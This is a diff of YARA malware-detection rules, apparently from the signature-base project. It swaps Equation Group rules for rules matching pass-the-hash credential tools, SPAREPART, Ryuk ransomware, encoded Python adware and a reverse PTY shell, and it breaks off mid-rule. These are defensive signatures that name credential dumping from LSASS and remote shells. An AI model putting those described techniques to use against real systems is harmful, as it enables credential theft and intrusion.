-		author = "Auto Generated"
-		id = "f664ad78-1820-5434-94cc-94f98b32e654"
-		date = "2017-01-13"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1773-L1787"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6b43280a94f1f5c62185f6b879126bcd258e9875beeb0f7ec1e3569494a60669"
+		description = "Encoded Python payload for adware"
+		author = "John Lambert @JohnLaTwC"
+		id = "7b4b422b-c960-5ab3-a6a7-a30e416efdec"
+		date = "2018-03-07"
+		modified = "2023-01-06"
+		reference = "https://twitter.com/JohnLaTwC/status/949048002466914304"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_python_encoded_adware.yar#L1-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5d7239be779367e69d2e63ffd9dc6e2a1f79c4e5c6c725e8c5e59a44c0ab2fff"
+		logic_hash = "256b289cfe83384c02aacf9c7e790898ba34988c9be149b39e63791c319bfc4a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "69dcc150468f7707cc8ef618a4cea4643a817171babfba9290395ada9611c63c"
 
 	strings:
-		$op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
-		$op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
-		$op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }
+		$r1 = "=__import__(\"base64\").b64decode"
+		$s1 = "bytes(map(lambda"
+		$s2 = "[1]^"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		filesize <100KB and @r1<100 and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Getadmin_Lp : FILE
+rule SIGNATURE_BASE_Whosthere_Alt : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file GetAdmin_Lp.dll"
+		description = "Auto-generated rule - file whosthere-alt.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3bbe0553-a5a3-5207-a94e-ad978606d9a4"
-		date = "2017-01-13"
+		id = "92e98381-9142-58af-82ce-4df9eb0a0039"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1789-L1802"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5bff3858c59b1bb44c5e24ca5f77d8e1e582224cc1caad3955d1adb0efea318a"
-		score = 75
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passthehashtoolkit.yar#L10-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9b4c3691872ca5adf6d312b04190c6e14dd9cbe10e94c0dd3ee874f82db897de"
+		logic_hash = "ef7bccb8f63034b885cfaec27663c9b038cd9b1811b4f25a9eae28640dac248b"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e1c9c9f031d902e69e42f684ae5b35a2513f7d5f8bca83dfbab10e8de6254c78"
 
 	strings:
-		$x1 = "Current user is System -- unable to join administrators group" fullword wide
+		$s0 = "WHOSTHERE-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii
+		$s1 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii
+		$s2 = "dump output to a file, -o filename" fullword ascii
+		$s3 = "This tool lists the active LSA logon sessions with NTLM credentials." fullword ascii
+		$s4 = "Error: pth.dll is not in the current directory!." fullword ascii
+		$s5 = "the output format is: username:domain:lmhash:nthash" fullword ascii
+		$s6 = ".\\pth.dll" fullword ascii
+		$s7 = "Cannot get LSASS.EXE PID!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and filesize <280KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Modifygroup_Lp : FILE
+rule SIGNATURE_BASE_Iam_Alt_Iam_Alt : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file ModifyGroup_Lp.dll"
+		description = "Auto-generated rule - file iam-alt.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "82c9617a-3d78-525f-a507-76c87aad7c59"
-		date = "2017-01-13"
+		id = "cf8ec963-ed23-531e-8ea2-ff9f8643aa75"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1805-L1819"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8fe5102cacd9149a0ed60440c563953d487aa2b28a3b947d821d0cc3f3396a4a"
-		score = 75
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passthehashtoolkit.yar#L33-L54"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2ea662ef58142d9e340553ce50d95c1b7a405672acdfd476403a565bdd0cfb90"
+		logic_hash = "acd4dae57e8394d4ce2f3dfb44706ea35c3d684ab34fd0c707b6aeedd816280a"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dfb38ed2ca3870faf351df1bd447a3dc4470ed568553bf83df07bf07967bf520"
 
 	strings:
-		$s1 = "Modify Privileges failed" fullword wide
-		$s2 = "Given privilege name not found" fullword wide
+		$s0 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii
+		$s1 = "IAM-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii
+		$s2 = "This tool allows you to change the NTLM credentials of the current logon session" fullword ascii
+		$s3 = "username:domainname:lmhash:nthash" fullword ascii
+		$s4 = "Error in cmdline!. Bye!." fullword ascii
+		$s5 = "Error: Cannot open LSASS.EXE!." fullword ascii
+		$s6 = "nthash is too long!." fullword ascii
+		$s7 = "LSASS HANDLE: %x" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and filesize <240KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Pwdump_Lp : FILE
+rule SIGNATURE_BASE_Genhash_Genhash : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file pwdump_Lp.dll"
+		description = "Auto-generated rule - file genhash.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6f356f13-9ec1-5dd9-91b2-6a3071398e81"
-		date = "2017-01-13"
+		id = "bec3c014-df3b-5ac0-9501-9b648856e02b"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1821-L1834"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7381ffd9b2b720fa99d52bc5805fea942e5a966bf3fd611f1a80a875edd06dad"
-		score = 75
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passthehashtoolkit.yar#L56-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "113df11063f8634f0d2a28e0b0e3c2b1f952ef95bad217fd46abff189be5373f"
+		logic_hash = "fe1ebe7ea94351610e0042eab020d155cbab26d790477909467c9b5a827fb6d6"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fda57a2ba99bc610d3ff71b2d0ea2829915eabca168df99709a8fdd24288c5e5"
 
 	strings:
-		$x1 = "PWDUMP - - ERROR - -" wide
+		$s1 = "genhash.exe <password>" fullword ascii
+		$s3 = "Password: %s" fullword ascii
+		$s4 = "%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X" fullword ascii
+		$s5 = "This tool generates LM and NT hashes." fullword ascii
+		$s6 = "(hashes format: LM Hash:NT hash)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and filesize <200KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Eventlogedit_Implant : FILE
+rule SIGNATURE_BASE_Iam_Iamdll : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file EventLogEdit_Implant.dll"
+		description = "Auto-generated rule - file iamdll.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "40239dd0-4159-5c10-96b3-4f1e28c92d97"
-		date = "2017-01-13"
+		id = "15e8ddac-af17-5509-b552-b4364af57c90"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1836-L1851"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1d391eaed77150ab2a26dfed60ebd82aa2c6802b6b604791fb78d08db7fe5ec9"
-		score = 75
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passthehashtoolkit.yar#L76-L92"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "892de92f71941f7b9e550de00a57767beb7abe1171562e29428b84988cee6602"
+		logic_hash = "ef7c66d2e1204a43921b6701812ea8a7bfa8e39e24d9396c95b725a4a4171010"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0bb750195fbd93d174c2a8e20bcbcae4efefc881f7961fdca8fa6ebd68ac1edf"
 
 	strings:
-		$s1 = "SYSTEM\\CurrentControlSet\\Services\\EventLog\\%ls" fullword wide
-		$s2 = "Ntdll.dll" fullword ascii
-		$s3 = "hZwOpenProcess" fullword ascii
+		$s0 = "LSASRV.DLL" fullword ascii
+		$s1 = "iamdll.dll" fullword ascii
+		$s2 = "ChangeCreds" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		uint16(0)==0x5a4d and filesize <115KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Portmap_Lp : FILE
+rule SIGNATURE_BASE_Iam_Iam : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file PortMap_Lp.dll"
+		description = "Auto-generated rule - file iam.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e1851a17-9858-5c93-9993-2da0559e5d2e"
-		date = "2017-01-13"
+		id = "15e8ddac-af17-5509-b552-b4364af57c90"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1853-L1868"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9666e64b40dc01c5b3756b1334519730765f7075ba9a124a79f5b7ea4bc91e03"
-		score = 75
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passthehashtoolkit.yar#L94-L114"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8a8fcce649259f1b670bb1d996f0d06f6649baa8eed60db79b2c16ad22d14231"
+		logic_hash = "f170f6f71b81a674a269ddd441c77a43afbbfe2870e1d0c4101abd2e58bff0b0"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2b27f2faae9de6330f17f60a1d19f9831336f57fdfef06c3b8876498882624a6"
 
 	strings:
-		$s1 = "Privilege elevation failed" fullword wide
-		$s2 = "Portmap ended due to max number of ports" fullword wide
-		$s3 = "Invalid parameters received for portmap" fullword wide
+		$s1 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii
+		$s2 = "iam.exe -h administrator:mydomain:" ascii
+		$s3 = "An error was encountered when trying to change the current logon credentials!." fullword ascii
+		$s4 = "optional parameter. If iam.exe crashes or doesn't work when run in your system, use this parameter." fullword ascii
+		$s5 = "IAM.EXE will try to locate some memory locations instead of using hard-coded values." fullword ascii
+		$s6 = "Error in cmdline!. Bye!." fullword ascii
+		$s7 = "Checking LSASRV.DLL...." fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Processoptions_Lp : FILE
+rule SIGNATURE_BASE_Whosthere_Alt_Pth : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file ProcessOptions_Lp.dll"
+		description = "Auto-generated rule - file pth.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5ccb9751-fbcc-538c-8d55-dfc495067ce5"
-		date = "2017-01-13"
+		id = "92e98381-9142-58af-82ce-4df9eb0a0039"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1870-L1883"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cc9cd566f57d28ccea6d53d2eba71187f01cdf6e140771cace33349f6439461d"
-		score = 75
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passthehashtoolkit.yar#L116-L134"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fbfc8e1bc69348721f06e96ff76ae92f3551f33ed3868808efdb670430ae8bd0"
+		logic_hash = "137b0dae105f97b5d4352d16e52144e72306e61be57c5d93df77ad3f5808018e"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "31d86f77137f0b3697af03dd28d6552258314cecd3c1d9dc18fcf609eb24229a"
 
 	strings:
-		$s1 = "Invalid parameter received by implant" fullword wide
+		$s0 = "c:\\debug.txt" fullword ascii
+		$s1 = "pth.dll" fullword ascii
+		$s2 = "\"Primary\" string found at %.8Xh" fullword ascii
+		$s3 = "\"Primary\" string not found!" fullword ascii
+		$s4 = "segment 1 found at %.8Xh" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and filesize <240KB and 4 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Passfreely_Lp : FILE
+rule SIGNATURE_BASE_Whosthere : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file PassFreely_Lp.dll"
+		description = "Auto-generated rule - file whosthere.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5fb99194-f0df-54aa-9f20-7f8458155e62"
-		date = "2017-01-13"
+		id = "92e98381-9142-58af-82ce-4df9eb0a0039"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1885-L1900"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c3ceb04b42b6e741b1578ec9ecb83b72c599d9af457d6d4e8de572e481d3aa5c"
-		score = 75
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passthehashtoolkit.yar#L136-L155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d7a82204d3e511cf5af58eabdd6e9757c5dd243f9aca3999dc0e5d1603b1fa37"
+		logic_hash = "a13c8a1fc66381b040d6449fe9655191d7a1762da0dc70789cd497fb68fb2a55"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fe42139748c8e9ba27a812466d9395b3a0818b0cd7b41d6769cb7239e57219fb"
 
 	strings:
-		$s1 = "Unexpected value in memory.  Run the 'CheckOracle' or 'memcheck' command to identify the problem" fullword wide
-		$s2 = "Oracle process memory successfully modified!" fullword wide
-		$s3 = "Unable to reset the memory protection mask to the memory" fullword wide
+		$s1 = "by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii
+		$s2 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii
+		$s3 = "specify addresses to use. Format: ADDCREDENTIAL_ADDR:ENCRYPTMEMORY_ADDR:FEEDBACK_ADDR:DESKEY_ADDR:LOGONSESSIONLIST_ADDR:LOGONSES" ascii
+		$s4 = "Could not enable debug privileges. You must run this tool with an account with administrator privileges." fullword ascii
+		$s5 = "-B is now used by default. Trying to find correct addresses.." fullword ascii
+		$s6 = "Cannot get LSASS.EXE PID!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <320KB and 2 of them
 }
-import "pe"
+rule SIGNATURE_BASE_MAL_Backdoor_SPAREPART_Sleepgenerator
+{
+	meta:
+		description = "Detects the algorithm used to determine the next sleep timer"
+		author = "Mandiant"
+		id = "b9cd46e4-0e06-5ead-8379-adcfc3c384d0"
+		date = "2022-12-14"
+		modified = "2023-12-05"
+		reference = "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_ru_sparepart_dec22.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f9cd5b145e372553dded92628db038d8"
+		logic_hash = "41a9fdb2ba7aefcaf6ef2477b598e98b9045ef17ce9bfe46f3169d0b2e0dd289"
+		score = 50
+		quality = 85
+		tags = ""
+		version = "1"
+		weight = "100"
+		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."
 
-rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_1 : FILE
+	strings:
+		$ = {C1 E8 06 89 [5] C1 E8 02 8B}
+		$ = {c1 e9 03 33 c1 [3] c1 e9 05 33 c1 83 e0 01}
+		$ = {8B 80 FC 00 00 00}
+		$ = {D1 E8 [4] c1 E1 0f 0b c1}
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_MAL_Backdoor_SPAREPART_Struct : FILE
 {
 	meta:
-		description = "EquationGroup Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "331d7ba5-e3fa-5ab7-b4de-c7af764be03d"
-		date = "2017-01-13"
+		description = "Detects the PDB and a struct used in SPAREPART"
+		author = "Mandiant"
+		id = "a04296d5-c146-5142-a8e8-418651f6b755"
+		date = "2022-12-14"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1904-L1933"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "97fe69f0c8f2fc44fdcd796c9390c3912f31c56540af1ca8f2baab16d1e91add"
-		score = 75
+		reference = "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_ru_sparepart_dec22.yar#L22-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f9cd5b145e372553dded92628db038d8"
+		logic_hash = "807c7404146c08995440987aef78ecde11224f7d6cad1a0d22269b2bf46a44e5"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "694be2698bcc5c7a1cce11f8ef65c1c96a883d14b98148c36b32888fb58b6a7e"
-		hash2 = "73d1d55493886639c619e9f5e312daab93e4feeb74f24dbe51593842baac8d15"
-		hash3 = "e1c9c9f031d902e69e42f684ae5b35a2513f7d5f8bca83dfbab10e8de6254c78"
-		hash4 = "c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194"
-		hash5 = "2a1f2034e80421359e3bf65cbd12a55a95bd00f2eb86cf2c2d287711ee1d56ad"
-		hash6 = "8f5b97124de9fce16e2cfecb7dd2e171824c9e07546db7b3bee7c5f2c92ceda9"
-		hash7 = "dfb38ed2ca3870faf351df1bd447a3dc4470ed568553bf83df07bf07967bf520"
-		hash8 = "d92928a867a685274b0a74ec55c0b83690fca989699310179e184e2787d47f48"
-		hash9 = "137749c0fbb8c12d1a650f0bfc73be2739ff084165d02e4cb68c6496d828bf1d"
-		hash10 = "fe42139748c8e9ba27a812466d9395b3a0818b0cd7b41d6769cb7239e57219fb"
-		hash11 = "2b27f2faae9de6330f17f60a1d19f9831336f57fdfef06c3b8876498882624a6"
-		hash12 = "cdee0daa816f179e74c90c850abd427fbfe0888dcfbc38bf21173f543cdcdc66"
-		hash13 = "31d86f77137f0b3697af03dd28d6552258314cecd3c1d9dc18fcf609eb24229a"
-		hash14 = "fda57a2ba99bc610d3ff71b2d0ea2829915eabca168df99709a8fdd24288c5e5"
-		hash15 = "1097e1d562341858e241f1f67788534c0e340a2dc2e75237d57e3f473e024464"
+		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."
 
 	strings:
-		$x1 = "Injection Lib -  GetProcAddress failed on Kernel32.DLL function" fullword wide
-		$x2 = "Injection Lib -  JUMPUP failed to open requested process" fullword wide
+		$pdb = "c:\\Users\\user\\Desktop\\ImageAgent\\ImageAgent\\PreAgent\\src\\builder\\agent.pdb" ascii nocase
+		$struct = { 44 89 ac ?? ?? ?? ?? ?? 4? 8b ac ?? ?? ?? ?? ?? 4? 83 c5 28 89 84 ?? ?? ?? ?? ?? 89 8c ?? ?? ?? ?? ?? 89 54 ?? ?? 44 89 44 ?? ?? 44 89 4c ?? ?? 44 89 54 ?? ?? 44 89 5c ?? ?? 89 5c ?? ?? 89 7c ?? ?? 89 74 ?? ?? 89 6c ?? ?? 44 89 74 ?? ?? 44 89 7c ?? ?? 44 89 64 ?? ?? 8b 84 ?? ?? ?? ?? ?? 44 8b c8 8b 84 ?? ?? ?? ?? ?? 44 8b c0 4? 8d 15 ?? ?? ?? ?? 4? 8b cd ff 15 ?? ?? ?? ??  }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of ($x*)) or ( all of them )
+		( uint16(0)==0x5A4D) and uint32( uint32(0x3C))==0x00004550 and $pdb and $struct and filesize <20KB
 }
 import "pe"
 
-rule SIGNATURE_BASE_Equationdrug_MS_Identifier
+rule SIGNATURE_BASE_MAL_Ryuk_Ransomware : FILE
 {
 	meta:
-		description = "Microsoft Identifier used in EquationDrug Platform"
-		author = "Florian Roth (Nextron Systems) @4nc4p"
-		id = "c934c117-bf5a-5688-acd9-5d6c6aacd6bc"
-		date = "2015-03-11"
+		description = "Detects strings known from Ryuk Ransomware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "25d40631-4158-5d3d-913e-a2f1233489e0"
+		date = "2018-12-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1937-L1948"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7b919c82b6e765be5adb927bf79d13f9b37a214a6f8a1f7b237a88ba46ae958c"
+		reference = "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ryuk_ransomware.yar#L3-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "01e8ad348e5954374fc0f9fc25ba1ee83db4a2a50e622b27640aa2eb394dc5a0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "965884f19026913b2c57b8cd4a86455a61383de01dabb69c557f45bb848f6c26"
+		hash2 = "b8fcd4a3902064907fb19e0da3ca7aed72a7e6d1f94d971d1ee7a4d3af6a800d"
 
 	strings:
-		$s1 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$x1 = "/v \"svchos\" /f" fullword wide
+		$x2 = "\\Documents and Settings\\Default User\\finish" wide
+		$x3 = "\\users\\Public\\finish" wide
+		$x4 = "lsaas.exe" fullword wide
+		$x5 = "RyukReadMe.txt" fullword wide
 
 	condition:
-		$s1 and pe.timestamp>946684800
+		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="4a069c1abe5aca148d5a8fdabc26751e" or pe.imphash()=="dc5733c013378fa418d13773f5bfe6f1" or 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Mimikatz_Memory_Rule_1 : APT
+rule SIGNATURE_BASE_HKTL_Reverse_Connect_TCP_PTY_Shell : FILE
 {
 	meta:
-		description = "Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures)"
-		author = "Florian Roth"
-		id = "55cc7129-5ea0-5545-a8f6-b5306a014dd0"
-		date = "2014-12-22"
-		modified = "2023-07-04"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikatz.yar#L5-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "22064af570b8e0a93ca0d45484848eda3fbecfd27c88247ef0897fe53be4b7fc"
-		score = 70
+		description = "Detects reverse connect TCP PTY shell"
+		author = "Jeff Beley"
+		id = "a9a90d67-774b-5b32-97c0-d7e06763f2e9"
+		date = "2019-10-19"
+		modified = "2023-12-05"
+		reference = "https://github.com/infodox/python-pty-shells/blob/master/tcp_pty_backconnect.py"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_python_pty_shell.yar#L1-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6b92077f9ff775ae3f8166f47a32aaa872fcbf7fcefc3789e5411388aac5403a"
+		score = 75
 		quality = 85
-		tags = "APT"
